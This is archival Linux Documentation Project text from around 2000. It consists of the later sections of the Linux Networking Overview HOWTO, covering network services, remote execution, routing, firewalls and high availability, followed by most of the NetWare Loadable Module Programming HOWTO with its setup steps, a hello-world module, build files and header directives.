One userful mail-related utility is fetchmail. Fetchmail is a free, full-featured, robust, well-documented remote-mail retrieval and forwarding utility intended to be used over on-demand TCP/IP links (such as SLIP or PPP connections). It supports every remote-mail protocol now in use on the Internet. It can even support IPv6 and IPSEC.

Fetchmail retrieves mail from remote mail servers and forwards it via SMTP, so it can then be be read by normal mail user agents such as mutt, elm or BSD Mail. It allows all the system MTA's filtering, forwarding, and aliasing facilities to work just as they would on normal mail.

Fetchmail can be used as a POP/IMAP-to-SMTP gateway for an entire DNS domain, collecting mail from a single drop box on an ISP and SMTP-forwarding it based on header addresses.

A small company may centralise its mail in a single mailbox, configure fetchmail to collect all outgoing mail, send it via a single mailbox at their ISP and retrieve all incoming mail from the same mailbox.

  • Fetchmail home page

6.2 Web Servers

Most Linux distributions include Apache. Apache is the number one server on the internet according to http://www.netcraft.co.uk/survey/ . More than a half of all internet sites are running Apache or one of it derivatives. Apache's advantages include its modular design, stability and speed. Given the appropriate hardware and configuration it can support the highest loads: Yahoo, Altavista, GeoCities, and Hotmail are based on customized versions of this server.

Optional support for SSL (which enables secure transactions) is also available at:

  • http://www.apache-ssl.org/
  • http://raven.covalent.net/
  • http://www.c2.net/

Related HOWTOs:

  • http://metalab.unc.edu/mdw/HOWTO/WWW-HOWTO.html
  • http://metalab.unc.edu/mdw/HOWTO/Virtual-Services-HOWTO.html
  • http://metalab.unc.edu/mdw/HOWTO/Intranet-Server-HOWTO.html
  • Web servers for Linux

6.3 Web Browsers

A number of web browsers exist for the Linux platform. Netscape Navigator has been one of the choices from the very beginning and the upcoming Mozilla (http://www.mozilla.org) will have a Linux version. Another popular text based web browser is lynx. It is fast and handy when no graphical environment is available.

  • Browser software for Linux
  • http://metalab.unc.edu/mdw/HOWTO/mini/Public-Web-Browser.html

6.4 FTP Servers and clients

FTP stands for File Transfer Protocol. An FTP server allows clients to connect to it and retrieve (download) files. Many ftp servers and clients exist for Linux and are included with most distributions. There are text-based clients as well as GUI based ones. FTP related software (servers and clients) for Linux may be found at: http://metalab.unc.edu/pub/Linux/system/network/file-transfer/

6.5 News service

Usenet (also known as news) is a big bulletin board system that covers all kinds of topics and it is organised hierarchically. A network of computers across the internet (Usenet) exchange articles through the NNTP protocol. Several implementations exist for Linux, either for heavily loaded sites or for small sites receiving only a few newsgroups.

  • INN home page
  • Linux news related software

6.6 Domain Name System

A DNS server has the job of translating names (readable by humans) to IP addresses. A DNS server does not know all the IP addresses in the world; rather, it is able to request other servers for the unknown addresses. The DNS server will either return the wanted IP address to the user or report that the name cannot be found in the tables.

Name serving on Unix (and on the vast majority of the Internet) is done by a program called named. This is a part of the bind package of The Internet Software Consortium.

  • BIND
  • DNS HOWTO

6.7 DHCP, bootp

DHCP and bootp are protocols that allow a client machine to obtain network information (such as their IP number) from a server. Many organisations are starting to use it because it eases network administration, especially in large networks or networks which have lots of mobile users.

Related documents:

  • DHCP mini-HOWTO

6.8 NIS

The Network Information Service (NIS) provides a simple network lookup service consisting of databases and processes. Its purpose is to provide information that has to be known throughout the network to all machines on the network. For example, it enables an administrator to allow users access to any machine in a network running NIS without a password entry existing on each machine; only the main database needs to be maintained.

Related HOWTO:

  • NIS HOWTO

6.9 Authentication

There are also various ways of authenticating users in mixed networks.

  • For Linux/Windows NT: http://www.mindware.com.au/ftp/smb-NT-verify.1.1.tar.gz
  • The PAM (pluggable authentication module) which is a flexible method of Unix authentication: PAM library.
  • Finally, LDAP in Linux


The Linux Networking Overview HOWTO: Remote execution of applications

 Next Previous Contents

7. Remote execution of applications

One of the most amazing features of Unix (yet one of the most unknown to new users) is its great support for remote and distributed execution of applications.

7.1 Telnet

Telnet is a program that allows a person to use a remote computer as if that person were actually at the remote site. Telnet is one of the most powerful tools for Unix, allowing for true remote administration. It is also an interesting program from the point of view of users, because it allows remote access to all their files and programs from anywhere in the Internet. Combined with an X server, there is no difference (apart from the delay) between being at the console or on the other side of the planet. Telnet daemons and clients are available with most Linux distributions.

Encrypted remote shell sessions are available through SSH ( http://www.ssh.fi/sshprotocols2/index.html) thus effectively allowing secure remote administration.

  • Telnet related software

7.2 Remote commands

In Unix, and in particular in Linux, remote commands exist that allow for interaction with other computers from the shell prompt. Examples are: rlogin, which allows for login in a remote machine in a similar way to telnet, rcp, which allows for the remote transfer of files among machines, etc. Finally, the remote shell command rsh allows the execution of a command on a remote machine without actually logging onto that machine.

7.3 The X Window System

The X Window System was developed at MIT in the late 1980s, rapidly becoming the industry standard windowing system for Unix graphics workstations. The software is freely available, very versatile, and is suitable for a wide range of hardware platforms. Any X environment consists of two distinct parts, the X server and one or more X clients. It is important to realise the distinction between the server and the client. The server controls the display directly and is responsible for all input/output via the keyboard, mouse or display. The clients, on the other hand, do not access the screen directly - they communicate with the server, which handles all input and output. It is the clients which do the "real" computing work - running applications or whatever. The clients communicate with the server, causing the server to open one or more windows to handle input and output for that client.

In short, the X Window System allows a user to log in into a remote machine, execute a process (for example, open a web browser) and have the output displayed on his own machine. Because the process is actually being executed on the remote system, very little CPU power is needed in the local one. Indeed, computers exist whose primary purpose is to act as pure X servers. Such systems are called X terminals.

A free port of the X Window System exists for Linux and can be found at: Xfree. It is included in most Linux distributions.

Related HOWTO:

  • Remote X Apps HOWTO

7.4 VNC

VNC stands for Virtual Network Computing. It is, in essence, a remote display system which allows one to view a computing 'desktop' environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. Both clients and servers exist for Linux as well as for many other platforms. It is possible to execute MS-Word in a Windows NT or 95 machine and have the output displayed in a Linux machine. The opposite is also true; it is possible to execute an application in a Linux machine and have the output displayed in any other Linux or Windows machine. One of the available clients is a Java applet, allowing the remote display to be run inside a web browser. Another client is a port for Linux using the SVGAlib graphics library, allowing 386s with as little as 4 MB of RAM to become fully functional X-Terminals.

  • VNC web site


The Linux Networking Overview HOWTO: Network Interconnection

 Next Previous Contents

8. Network Interconnection

Linux networking is rich in features. A Linux box can be configured so it can act as a router, bridge, etc... Some of the available options are described below.

8.1 Router

The Linux kernel has built-in support for routing functions. A Linux box can act either as an IP or IPX router for a fraction of the cost of a commercial router. Recent kernels include special options for machines acting primarily as routers:

  • Multicasting: Allows the Linux machine to act as a router for IP packets that have several destination addresses. It is needed on the MBONE, a high bandwidth network on top of the Internet which carries audio and video broadcasts.
  • IP policy routing: Normally a router decides what to do with a received packet based solely on the packet's final destination address, but routing can also take into account the originating address and the network device from which the packet reached it.

There are some related projects which include one aiming at building a complete, running Linux router on a floppy disk: Linux router project

8.2 Bridge

The Linux kernel has built-in support for acting as an Ethernet bridge, which means that the different Ethernet segments it is connected to will appear as one Ethernet to the participants. Several bridges can work together to create even larger networks of Ethernets using the IEEE802.1 spanning tree algorithm. As this is a standard, Linux bridges will interoperate properly with other third party bridge products. Additional packages allow filtering based on IP, IPX or MAC addresses.

Related HOWTOs:

  • Bridge+Firewall
  • Bridge

8.3 IP Masquerade

IP Masquerade is a developing networking function in Linux. If a Linux host is connected to the Internet with IP Masquerade enabled, then computers connecting to it (either on the same LAN or connected with modems) can reach the Internet as well, even though they have no officially assigned IP addresses. This allows for reduction of costs, since many people may be able to access the Internet using a single modem connection as well as contributes to increased security (in some way the machine is acting as a firewall, since unofficially assigned addresses cannot be accessed outside of that network).

IP masquerade related pages and documents:

  • http://ipmasq.home.ml.org/
  • http://www.indyramp.com/masq/links.pfhtml
  • http://metalab.unc.edu/mdw/HOWTO/IP-Masquerade-HOWTO.html

8.4 IP Accounting

This option of the Linux kernel keeps track of IP network traffic, performs packet logging and produces some statistics. A series of rules may be defined so when a packet matches a given pattern, some action is performed: a counter is increased, it is accepted/rejected, etc.

8.5 IP aliasing

This feature of the Linux kernel provides the possibility of setting multiple network addresses on the same low-level network device driver (e.g two IP addresses in one Ethernet card). It is typically used for services that act differently based on the address they listen on (e.g. "multihosting" or "virtual domains" or "virtual hosting services".

Related HOWTO:

  • IP Aliasing HOWTO

8.6 Traffic Shaping

The traffic shaper is a virtual network device that makes it possible to limit the rate of outgoing data flow over another network device. This is especially useful in scenarios such as ISPs, where it is desirable to control and enforce policies regarding how much bandwidth is used by each client. Another alternative (for web services only) may be certain Apache modules which restrict the number of IP connections by client or the bandwidth used.

  • http://metalab.unc.edu/mdw/HOWTO/NET3-4-HOWTO-6.html#ss6.15

8.7 Firewall

A firewall is a device that protects a private network from the public part (the internet as a whole). It is designed to control the flow of packets based on the source, destination, port and packet type information contained in each packet.

Different firewall toolkits exist for Linux as well as built-in support in the kernel. Other firewalls are TIS and SOCKS. These firewall toolkits are very complete and combined with other tools allow blocking/redirection of all kinds of traffic and protocols. Different policies can be implemented via configuration files or GUI programs.

  • TIS home page
  • SOCKS
  • Firewall HOWTO

8.8 Port forwarding

An increasing number of web sites are becoming interactive by having cgi-bins or Java applets that access some database or other service. Since this access may pose a security problem, the machine containing the database should not be directly connected to the Internet.

Port Forwarding can provide an almost ideal solution to this access problem. On the firewall, IP packets that come in to a specific port number can be re-written and forwarded to the internal server providing the actual service. The reply packets from the internal server are re-written to make it appear that they came from the firewall.

Port forwarding information may be found here

8.9 Load Balancing

Demand for load balancing usually arises in database/web access when many clients make simultaneous requests to a server. It would be desirable to have multiple identical servers and redirect requests to the less loaded server. This can be achieved through Network Address Translation techniques (NAT) of which IP masquerading is a subset. Network administrators can replace a single server providing Web services - or any other application - with a logical pool of servers sharing a common IP address. Incoming connections are directed to a particular server using one load-balancing algorithm. The virtual server rewrites incoming and outgoing packets to give clients the appearance that only one server exists.

Linux IP-NAT information may be found here

8.10 EQL

EQL is integrated into the Linux kernel. If two serial connections exist to some other computer (this usually requires two modems and two telephone lines) and SLIP or PPP (protocols for sending Internet traffic over telephone lines) are used on them, it is possible to make them behave like one double speed connection using this driver. Naturally, this has to be supported at the other end as well.

  • http://metalab.unc.edu/mdw/HOWTO/NET3-4-HOWTO-6.html#ss6.2

8.11 Proxy Server

The term proxy means "to do something on behalf of someone else." In networking terms, a proxy server computer can act on the behalf of several clients. An HTTP proxy is a machine that receives requests for web pages from another machine (Machine A). The proxy gets the page requested and returns the result to Machine A. The proxy may have a cache with the requested pages, so if another machine asks for the same page the copy in the cache will be returned instead. This allows efficient use of bandwidth resources and less response time. As a side effect, as client machines are not directly connected to the outside world this is a way of securing the internal network. A well-configured proxy can be as effective as a good firewall.

Several proxy servers exist for Linux. One popular solution is the Apache proxy module. A more complete and robust implementation of an HTTP proxy is SQUID.

  • Apache
  • Squid

8.12 Diald on demand

The purpose of dial on demand is to make it transparently appear that the users have a permanent connection to a remote site. Usually, there is a daemon who monitors the traffic of packets and where an interesting packet (interesting is defined usually by a set of rules/priorities/permissions) arrives it establishes a connection with the remote end. When the channel is idle for a certain period of time, it drops the connection.

  • Diald HOWTO

8.13 Tunnelling, mobile IP and virtual private networks

The Linux kernel allows the tunnelling (encapsulation) of protocols. It can do IPX tunnelling through IP, allowing the connection of two IPX networks through an IP only link. It can also do IP-IP tunnelling, which it is essential for mobile IP support, multicast support and amateur radio. (see http://metalab.unc.edu/mdw/HOWTO/NET3-4-HOWTO-6.html#ss6.8)

Mobile IP specifies enhancements that allow transparent routing of IP datagrams to mobile nodes in the Internet. Each mobile node is always identified by its home address, regardless of its current point of attachment to the Internet. While situated away from its home, a mobile node is also associated with a care-of address, which provides information about its current point of attachment to the Internet. The protocol provides for registering the care-of address with a home agent. The home agent sends datagrams destined for the mobile node through a tunnel to the care-of address. After arriving at the end of the tunnel, each datagram is then delivered to the mobile node.

Point-to-Point Tunneling Protocol (PPTP) is a networking technology that allows the use of the Internet as a secure virtual private network (VPN). PPTP is integrated with the Remote Access Services (RAS) server which is built into Windows NT Server. With PPTP, users can dial into a local ISP, or connect directly to the Internet, and access their network as if they were at their desks. PPTP is a closed protocol and its security has recently being compromised. It is highly recomendable to use other Linux based alternatives, since they rely on open standards which have been carefully examined and tested.

  • A client implementation of the PPTP for Linux is available here
  • More on Linux PPTP can be found here
Mobile IP:
  • http://www.hpl.hp.com/personal/Jean_Tourrilhes/MobileIP/mip.html
  • http://metalab.unc.edu/mdw/HOWTO/NET3-4-HOWTO-6.html#ss6.12
Virtual Private Networks related documents:
  • http://metalab.unc.edu/mdw/HOWTO/mini/VPN.html
  • http://sites.inka.de/sites/bigred/devel/cipe.html


The Linux Networking Overview HOWTO: Network Management

 Next Previous Contents

9. Network Management

9.1 Network management applications

There is an impressive number of tools focused on network management and remote administration. Some interesting remote administration projects are linuxconf and webmin:

  • Webmin
  • Linuxconf

Other tools include network traffic analysis tools, network security tools, monitoring tools, configuration tools, etc. An archive of many of these tools may be found at Metalab

9.2 SNMP

The Simple Network Management Protocol is a protocol for Internet network management services. It allows for remote monitoring and configuration of routers, bridges, network cards, switches, etc... There is a large amount of libraries, clients, daemons and SNMP based monitoring programs available for Linux. A good page dealing with SNMP and Linux software may be found at : http://linas.org/linux/NMS.html


The Linux Networking Overview HOWTO: Enterprise Linux Networking

 Next Previous Contents

10. Enterprise Linux Networking

In certain situations it is necessary for the networking infrastructure to have proper mechanisms to guarantee network availability nearly 100% of the time. Some related techniques are described in the following sections. Most of the following material can be found at the excellent Linas website: http://linas.org/linux/index.html and in the Linux High-Availability HOWTO

10.1 High Availability

Redundancy is used to prevent the overall IT system from having single points of failure. A server with only one network card or a single SCSI disk has two single points of failure. The objective is to mask unplanned outages from users in a manner that lets users continue to work quickly. High availability software is a set of scripts and tools that automatically monitor and detect failures, taking the appropriate steps to restore normal operation and to notifying system administrators.

10.2 RAID

RAID, short for Redundant Array of Inexpensive Disks, is a method whereby information is spread across several disks, using techniques such as disk striping (RAID Level 0) and disk mirroring (RAID level 1) to achieve redundancy, lower latency and/or higher bandwidth for reading and/or writing, and recoverability from hard-disk crashes. Over six different types of RAID configurations have been defined. There are three types of RAID solution options available to Linux users: software RAID, outboard DASD boxes, and RAID disk controllers.

  • Software RAID: Pure software RAID implements the various RAID levels in the kernel disk (block device) code.
  • Outboard DASD Solutions: DASD (Direct Access Storage Device) are separate boxes that come with their own power supply, provide a cabinet/chassis for holding the hard drives, and appear to Linux as just another SCSI device. In many ways, these offer the most robust RAID solution.
  • RAID Disk Controllers: Disk Controllers are adapter cards that plug into the ISA/EISA/PCI bus. Just like regular disk controller cards, a cable attaches them to the disk drives. Unlike regular disk controllers, the RAID controllers will implement RAID on the card itself, performing all necessary operations to provide various RAID levels.

Related HOWTOs:

  • http://metalab.unc.edu/mdw/HOWTO/mini/DPT-Hardware-RAID.html
  • http://metalab.unc.edu/mdw/HOWTO/Root-RAID-HOWTO.html
  • http://metalab.unc.edu/mdw/HOWTO/Software-RAID-HOWTO.html

RAID at linas.org:

  • http://linas.org/linux/raid.html

10.3 Redundant networking

IP Address Takeover (IPAT). When a network adapter card fails, its IP address should be taken by a working network card in the same node or in another node. MAC Address Takeover: when an IP takeover occurs, it should be made sure that all the nodes in the network update their ARP caches (the mapping between IP and MAC addresses).

See the High-Availability HOWTO for more details: http://metalab.unc.edu/pub/Linux/ALPHA/linux-ha/High-Availability-HOWTO.html


The Linux Networking Overview HOWTO: Sources of Information

 Next Previous Contents

11. Sources of Information

If you have networking problems with Linux, please do not e-mail the questions to me. I just simply do not have the time to answer them. You have better chances to obtain help if you post a question in the comp.os.linux.networking newsgroup (which you can access through http://www.dejanews.com). Before posting there, make sure that you have read the relevant documentation. Then search the news archive, because chances are that somebody, sometime made the same question (and somebody answered). When posting, remember to explain all the steps you have followed and the error messages you got. Where to get further information:

  • Linux: http://www.linux.org
  • Linux Documentation Project: http://metalab.unc.edu/mdw/linux.html (check out the Linux Network Administrator Guide)
  • Freshmeat: The latest releases of Linux Software. http://www.freshmeat.net
  • Linux links: http://www.linuxlinks.com/Networking/


The Linux Networking Overview HOWTO: Document history

 Next Previous Contents

12. Document history

  • 0.32 Updated many links that have changed. Special thanks go here to Kontiki for his careful review and detailed description of what needed to change. Many thanks also to Anne and Mathias who pointed out other links that were no longer valid.
  • 0.31 (17 Sept 1999) Changed address for linux router project (thanks to John Ellis) and added another PPTP link (thanks to Benjamin Smith)
  • 0.30 (6 April 1999) Included section on CODA (thanks to Brian Ristuccia
  • 0.2-0.29 Bugfixes :-) (see acknowledgements, at the end of this document)
  • 0.1 (5 june 1998)


The Linux Networking Overview HOWTO: Acknowledgements and disclaimer

 Next Previous Contents

13. Acknowledgements and disclaimer

This document is based on the work of many other people who have made it possible for Linux to be what it is now: one of the best network operating systems. All credit is theirs. A lot of effort has been put into this document to make it simple but accurate and complete but not excessively long. Nevertheless, no liability will be assumed by the author under any circumstance. Use the information contained here at your own risk. Please feel free to e-mail me suggestions, corrections or general comments about the document so I can improve it. Other topics that will probably be included in futures revisions of this document may include radius, web/ftp mirroring tools such as wget, traffic analyzers, CORBA... and many others that may be suggested and suitable. You can reach me at daniel@rawbyte.com.

Finally I would like to thank Finnbjorn av Teigum, Cesar Kant, Mathieu Arnold and specially Hisakuni Nogami and Phil Garcia for their careful reviews and comments on this HOWTO. Their help is greatly appreciated.

You can find a version of this document at http://www.rawbyte.com/lno/.

Daniel Lopez Ridruejo 8 July 2000


NetWare Loadable Module Programming HOWTO

Martin Hinner, < mhi@penguin.cz>

Version 0.2, 04 August 2000

This document describes how to develop NetWare Loadable Modules under Linux, using GNU CC and nlmconv(1) from GNU binutils. This is not an official Novell document; I wrote it without any help or cooperation from Novell, Inc.

1. Introduction

  • 1.1 C++ Development
  • 1.2 Related Documentation
  • 1.3 Copying

2. Setting Up Your Linux Box and NetWare Server

  • 2.1 Novell NetWare Server
  • 2.2 Linux Box With IPX/NCPFS
  • 2.3 GNU C Compiler
  • 2.4 nlmconv(1) from GNU binutils
  • 2.5 The nlm-kit Package
  • 2.6 Include Files and Documentation from the NDK
  • 2.7 Access to the NetWare Server (Xconsole or rconsole)

3. First Step: Hello world

  • 3.1 hello.c - Source File
  • 3.2 hello.def - NLM header file
  • 3.3 Makefile
  • 3.4 GCC problems
  • 3.5 Testing the Module

4. NLM Header file

  • 4.1 AUTOUNLOAD
  • 4.2 CHECK
  • 4.3 CODESTART
  • 4.4 COPYRIGHT
  • 4.5 CUSTOM
  • 4.6 DATASTART
  • 4.7 DATE
  • 4.8 DEBUG
  • 4.9 DESCRIPTION
  • 4.10 EXIT
  • 4.11 EXPORT
  • 4.12 FLAG_OFF
  • 4.13 FLAG_ON
  • 4.14 HELP
  • 4.15 IMPORT
  • 4.16 INPUT
  • 4.17 MAP
  • 4.18 MESSAGES
  • 4.19 MODULE
  • 4.20 MULTIPLE
  • 4.21 NAMELEN
  • 4.22 OS_DOMAIN
  • 4.23 OUTPUT
  • 4.24 PATH
  • 4.25 PSEUDOPREEMPTION
  • 4.26 REENTRANT
  • 4.27 SCREENNAME
  • 4.28 SHARELIB
  • 4.29 STACK
  • 4.30 STACKSIZE
  • 4.31 STAMPEDDATA
  • 4.32 START
  • 4.33 SYNCHRONIZE
  • 4.34 THREADNAME
  • 4.35 TYPE
  • 4.36 VERSION
  • 4.37 XDCDATA

5. Message files

6. Help Files

7. XDC Data Files

8. Header Files (.h)

9. Import Files (.imp)

  • 9.1 Generating Import Files Using nlmimp(1)


NetWare Loadable Module Programming HOWTO: Introduction

 Next Previous Contents

1. Introduction

NetWare Loadable Modules (NLMs) are programs which run on Novell NetWare server. NLMs become part of the NetWare OS. You can load and unload NLMs while the server is running.

"Official" compilers for NLMs are:

  • Watcom C/C++
  • Metrowerks Codewarrior for NetWare (see http://www.metrowerks.com/)
  • EPC C/C++ (see http://www.epc.com)
  • Novell NLMLINK.EXE

(On a side note, NetWare 5 can also load 32bit DLLs, which can be built using Microsoft Visual C++, Borland C++ and other Windows compilers. For more information see http://developer.novell.com/ndk/dllcomp.htm)

This document describes how to get started with NLM development under Linux (and possibly other Unixes). Please note that this project is in very early stages of development, so a lot of things may not work as you'd expect.

This document assumes that you are familiar with Novell NetWare, and that you have at least basic knowledge of writing NLMs. For more information about writing NLMs, see Novell's developer site, http://developer.novell.com/. You should also have experience with Unix and C/C++ programming with GNU CC. You can find a lot of information about this topic at http://www.linuxdoc.org/.

1.1 C++ Development

As far as I know, C++ development with gcc is currently impossible, till somebody ports at least the libstdc++ and libgcc libraries from the gcc package.

1.2 Related Documentation

Other documents that might be useful are:

  • The IPX-HOWTO, which describes the details of configuring IPX protocol on Linux.
  • The Linux GCC HOWTO, which covers how to set up the GNU C compiler and development libraries under Linux, and gives an overview of compiling, linking, running and debugging programs under it.
  • The Assembly HOWTO, which describes how to program in assembly language using FREE programming tools, focusing on development for or from the Linux Operating System on the i386 platforms.
  • The Creating NLMs on Linux x86, http://home.sch.bme.hu/~keresztg/novell/howto/NLM-Linux-HOWTO.html, by Gabor Keresztvalvi <keresztg@mail.com>. His page describes the same thing as my HOWTO. I found Gabor's page ten days after releasing version 0.1 of this document :( .

1.3 Copying

Copyright (c) 2000 Martin Hinner, < mhi@penguin.cz>.

This HOWTO is Free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This document is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the GNU General Public License for more details.

You can obtain a copy of the GNU General Public License by writing to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.


NetWare Loadable Module Programming HOWTO: Setting Up Your Linux Box and NetWare Server

 Next Previous Contents

2. Setting Up Your Linux Box and NetWare Server

You need to install and configure these things for NLM development:

  • Linux box with configured IPX and NCPFS
  • GNU C compiler (gcc) for elf-i386 (nearly all i386 Linux Distributions include it)
  • GNU binutils with nlmconv(1) program
  • My nlm-kit package
  • Novell Developer Kit - NDK (include files and documentation)
  • DOSemu (with rconsole) or X11 server for running NetWare Xconsole.
  • ... and, finally, NetWare server :-)

You might also want to download the nlm-examples package from my FTP site: ftp://ftp.penguin.cz/pub/users/mhi/nlm/ or ftp://ftp.funet.fi/pub/mirrors/ftp.penguin.cz/pub/users/mhi/nlm/.

2.1 Novell NetWare Server

Let's start with the NetWare server. You can use NetWare versions 3.X, 4.X or 5.X. NetWare 5 (or 5.1) three user "demo" version can be ordered from Novell Inc. for a few dollars. Don't be confused with word "demo", it's fully functional NetWare, except that it is limited to three users. By the way, this license can be upgraded online, at no cost, to five users. You might also try asking your local Novell partner for demo CDs (they may be free).

2.2 Linux Box With IPX/NCPFS

You need to recompile your kernel with "The IPX protocol" and "NCP file system support" options enabled. Don't forget to say YES to "NDS authentication support" if you are using the NDS. Then you must configure the IPX protocol and mount your NetWare server volumes. Make sure that you have installed the ncpfs package! I use this script:

#!/bin/sh

ipx_interface delall
ipx_interface add -p eth0 802.2 120 # Frame Ethernet_802.2, ipx net num 120
insmod ncpfs                        # I have NCPfs compiled as module
ncpmount -U admin -S elf -P XYZ /nw # mount all ELF's volumes as /nw

For more information about configuring IPX and NCPFS, see the IPX-HOWTO.

2.3 GNU C Compiler

I think that all modern Linuxes for the Intel x86 include gcc, which generates ELF32/i386 object files. If you have an older Linux distribution, it may use the a.out format instead of ELF. If your Linux doesn't use ELF, get and install a newer gcc.

2.4 nlmconv(1) from GNU binutils

The nlmconv(1) utility links object files to the NLM format. It is a standard part of GNU binutils, but unfortunately it is not included in current distributions (RedHat, SuSE, Debian, ...). Get the binutils sources from ftp.gnu.org, and compile them, or simply use the pre-compiled nlmconv from my nlm-kit package.

2.5 The nlm-kit Package

My nlm-kit package is avaliable from ftp://ftp.penguin.cz/pub/users/mhi/nlm/. It contains necessary files for NLM development. Extract it and run "make all" and "make install". It will create the directory /usr/nwsdk/ and install all import files, object files and the nlmimp(1) utility.

2.6 Include Files and Documentation from the NDK

Getting the NDK is easy:

  • Download it from http://developer.novell.com/ndk/.
  • Order two NDK CDs from Novell.
  • Get these CDs at no cost at BrainShare, Novell Developer Workshop or at other Novell Developer events.

You need these files from the NDK (all are available online at http://developer.novell.com/ndk/clib.htm:

  • C language header and import files (cdrom:\files\download\clib.exe)
  • C language API documentation (cdrom:\files\download\clib_doc.exe)
  • C language samples (optional) (cdrom:\files\download\clib_sample.exe)

It's a pity that all the files mentioned above are InstallShield Win32 executables. You must find some Windows machine to extract them and then copy the include files to /usr/nwsdk/include/ and documentation/samples to anywhere you want. The Novell License doesn't allow me to distribute include files or documentation with the nlm-kit.

Because the NDK include files don't work under Linux, you need to patch them manually by typing "make install-include" in the nlm-kit-X.Y/ directory.

2.7 Access to the NetWare Server (Xconsole or rconsole)

You can access the NetWare server console directly (keyboard and monitor), using rconsole.exe (from dosemu), or using telnetd.nlm/Xconsole (you need X server for this).


NetWare Loadable Module Programming HOWTO: First Step: Hello world

 Next Previous Contents

3. First Step: Hello world

As usual, we will start with the famous "Hello world" program. The source code for hello.nlm is available in the nlm-samples package. You can download it from ftp://ftp.penguin.cz/pub/users/mhi/nlm/.

3.1 hello.c - Source File

#define N_PLAT_NLM                                /* Define dest. platform */

#include <nwconio.h>                              /* ConsolePrintf */

int
main (int argc, char **argv)
{
  int i;

  ConsolePrintf ("\rHello world!\n\n");           /* print on system console */

  ConsolePrintf("Arguments:\n");                  /* all arguments */
  for (i=0;i<argc;i++)
   ConsolePrintf("argv[%u]=\"%s\"\n",i, argv[i]);

  return 0;                                       /* exit NLM */
}

3.2 hello.def - NLM header file

#
# hello.def - NLM Header definition file for nlmconv(1)
# Copyright (c) 2000 Martin Hinner <mhi@penguin.cz>
#

# define startup object files
INPUT   hello.o
INPUT   /usr/nwsdk/lib/prelude.o            # clib startup code

# all imported functions and import lists
IMPORT @/usr/nwsdk/imports/clib.imp         # Functions in CLIB.NLM
IMPORT @/usr/nwsdk/imports/threads.imp      # Functions in THREADS.NLM

# NLM header...
OUTPUT  hello.nlm                           # output file
TYPE 0                                      # Ordinary NLM
VERSION 1,0,0                               # Version 1.0
COPYRIGHT "Copyright (c) 2000 Martin Hinner <mhi@penguin.cz>" # (c) ...
DESCRIPTION "Simple 'Hello world' NLM module." # title of nlm
SCREENNAME "System Console"                 # Default screen name

MODULE CLIB,THREADS                         # req'd modules

3.3 Makefile

# makefile for "hello world" NLM

CC = gcc
CFLAGS = -Wall -O2 -g -I/usr/nwsdk/include/ -nostdinc -fno-builtin -fpack-struct

hello.nlm:      hello.o hello.def
        nlmconv --output-target=nlm32-i386 -T hello.def

hello.o:        hello.c
        $(CC) $(CFLAGS) -c hello.c

3.4 GCC problems

You must pass these arguments to the gcc:

  • -fno-builtin: GCC's fast builtin functions sometimes cause server to abend, so we don't want to use them.
  • -nostdinc: Only include files in /usr/nwsdk/include are valid for NLMs (don't forget to use also -I/usr/nwsdk/include).
  • -fpack-struct: GCC's struct packing method is not valid for Novell NetWare, so we won't use it. Thanks to Gabor Keresztvalvi for this information.

3.5 Testing the Module

Copy hello.nlm to the SYS:\SYSTEM directory on your NetWare server. Then, on the system console, type "load hello.nlm". If everything went fine, you should see NLM version information, a copyright message and "Hello world".


NetWare Loadable Module Programming HOWTO: NLM Header file

 Next Previous Contents

4. NLM Header file

The NLM header file contains information for nlmconv(1). Each line contains one option or directive; everything after "#" is comment. This chapter describes all options and directives.

This chapter is not yet finished, sorry.

4.1 AUTOUNLOAD

Syntax:

AUTOUNLOAD

4.2 CHECK

Syntax:

CHECK <check procedure name>

This directive specifies the function to be executed when the NLM is unloaded using the UNLOAD Server console command. If this function returns zero, the NLM can be unloaded, else the NLM is not ready to be unloaded.

Example:

CHECK CheckUnload

4.3 CODESTART

Syntax:

CODESTART <map file code start offset>

Map file start offset may be decimal or Xhex.

4.4 COPYRIGHT

Syntax:

COPYRIGHT ["Copyright string"]

The copyright string is displayed on the server console screen when the NLM is loaded. If this option is not used, no copyright information is displayed.

Example:

COPYRIGHT "Copyright (c) 1998 ABC Inc."

4.5 CUSTOM

Syntax:

CUSTOM <custom data file path>

4.6 DATASTART

Syntax:

DATASTART <map file data start offset>

Map file data start offset may be decimal or Xhex.

4.7 DATE

Syntax:

DATE <month, day, year>

4.8 DEBUG

Syntax:

DEBUG

This directive tells the nlmconv(1) to include debugging information in the NLM file.

Example:

DEBUG

4.9 DESCRIPTION

Syntax:

DESCRIPTION "NLM Description String"

4.10 EXIT

Syntax:

EXIT <exit procedure name>

4.11 EXPORT

Syntax:

EXPORT <symbol list>

EXPORT @<symbol list file>

4.12 FLAG_OFF

Syntax:

FLAG_OFF <decimal number>

4.13 FLAG_ON

Syntax:

FLAG_ON <decimal number>

4.14 HELP

Syntax:

HELP <help file path>

4.15 IMPORT

Syntax:

IMPORT <symbol list>

IMPORT @<symbol list file>

4.16 INPUT

Syntax:

INPUT <object file> [, <object file> [, ...] ]

INPUT @<object list file>

This directive lists the input ELF (.o) object files that are to be linked. You can also list the object files in the list file, each object file on one line.

Example:

INPUT @objectfiles.txt
INPUT main.o
INPUT /usr/nwsdk/lib/prelude.o

4.17 MAP

Syntax:

MAP [map file name]

4.18 MESSAGES

Syntax:

MESSAGES <message file path>

4.19 MODULE

Syntax:

MODULE <autoload NLM list>

4.20 MULTIPLE

Syntax:

MULTIPLE

4.21 NAMELEN

Syntax:

NAMELEN <decimal number>

Default is 31. Zero is no limit.

4.22 OS_DOMAIN

Syntax:

OS_DOMAIN

4.23 OUTPUT

Syntax:

OUTPUT <target file name>

4.24 PATH

Syntax:

PATH [search path;...]

for following CUSTOM, HELP, INPUT, MESSAGES, SHARELIB, STAMPEDDATA and XDCDATA.

4.25 PSEUDOPREEMPTION

Syntax:

PSEUDOPREEMPTION

4.26 REENTRANT

Syntax:

REENTRANT

4.27 SCREENNAME

Syntax:

SCREENNAME "Initial Screen Name (CLIB)"

4.28 SHARELIB

Syntax:

SHARELIB <shared library path>

4.29 STACK

Syntax:

STACK <stack size>

4.30 STACKSIZE

Syntax:

STACKSIZE <stack size>

4.31 STAMPEDDATA

Syntax:

STAMPEDDATA "Stamp" <data file path>

Stamp is 8 char max.

